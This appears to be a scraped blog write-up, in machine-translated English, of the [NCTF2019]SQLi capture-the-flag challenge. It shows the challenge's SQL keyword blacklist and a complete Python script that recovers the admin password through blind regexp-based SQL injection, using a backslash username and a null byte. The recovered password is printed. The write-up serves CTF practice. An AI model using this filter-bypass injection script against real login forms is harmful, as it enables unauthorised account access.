当前位置:网站首页>[NCTF2019]SQLi
[NCTF2019]SQLi
2022-07-27 00:48:00 【A new reading of the tea classic】
[NCTF2019]SQLi

Use dirsearch Sweep your face , Found out robots.txt


And then directly url Enter the view robots.txt Content

Found to have hint.txt Still enter the view hint.txt Content
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;There are many contents in the blacklist here , Filtered a lot of things , also If $_POST['passwd'] === admin's password The password must be admin Will get your password flag
Use python Script burst password :
import requests
from urllib import parse
import string
import time
url='http://76cd948a-a7f3-4ab1-a28d-d7bc2bc26050.node4.buuoj.cn:81/index.php'
string= string.ascii_lowercase + string.digits + '_'
flag=''
for i in range(100):
for j in string:
data={
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00')),
#'passwd':'||/*1*/passwd/*1*/regexp/*1*/"^{}";{}'.format(i,'%00'),
'username':"\\"
}
#print(data)
res = requests.post(url=url,data=data).text
#print(res)
if 'welcome' in res:
flag+=j
print(flag)
#print(res)
break
time.sleep(0.1)
time.sleep(0.1)Run to get the password

you_will_never_know7788990
Any user name ( As long as it's not admin) The password is as above

边栏推荐
- 用New,delete和用malloc,free申请,释放堆区空间
- DOM day_ 03 (7.11) event bubbling mechanism, event delegation, to-do items, block default events, mouse coordinates, page scrolling events, create DOM elements, DOM encapsulation operations
- CUDA version difference between NVIDIA SMI and nvcc -v
- The detailed process of reinstalling AutoCAD after uninstallation and deleting the registry
- Openharmony quick start
- DOM day_ 02 (7.8) web page production process, picture SRC attribute, carousel chart, custom attribute, tab bar, input box event, check operation, accessor syntax
- 箭头函数详解 2021-04-30
- Inherit, inherit, inherit
- [acwing game 61]
- 2020-12-22 maximum common factor
猜你喜欢
随机推荐
c语言 static运用,灵活改变生命周期,让你写代码如鱼得水
[2. TMUX operation]
JSCORE day_ 05(7.6)
[Network Research Institute] attackers scan 1.6 million WordPress websites to find vulnerable plug-ins
【4.2 约数】
Leetcode 302 weekly games
C language is more than a variety of descriptions of size. Don't stick to one way of writing
公司给了IP地址如何使用(详细版)
Based on the theoretical principle and simulation results of MATLAB spherical decoding, compare 2norm spherical decoding, infinite norm spherical decoding, ML detection
关于Thymeleaf的表达式
[leetcode] no duplicate longest string
The detailed process of reinstalling AutoCAD after uninstallation and deleting the registry
[HFCTF2020]EasyLogin
[interview: concurrent Article 16: multithreading: detailed explanation of wait/notify] principle and wrong usage (false wake-up, etc.)
[3. VIM operation]
关于Redis问题的二三事
JSCORE day_ 04(7.5)
Viterbi Viterbi decoding bit error rate simulation, modulation is QPSK, channel is Gaussian white noise
【AtCoder Beginner Contest 261 (A·B·C·D)】
Leetcode 301 week



![[qt] container class, iterator, foreach keyword](/img/88/d9d5be096009b4e5baa0966e6f292c.jpg)


![[watevrCTF-2019]Cookie Store](/img/24/8baaa1ac9daa62c641472d5efac895.png)

![[BJDCTF2020]EzPHP](/img/be/a48a1a9147f1f3b21ef2d60fc1f59f.png)
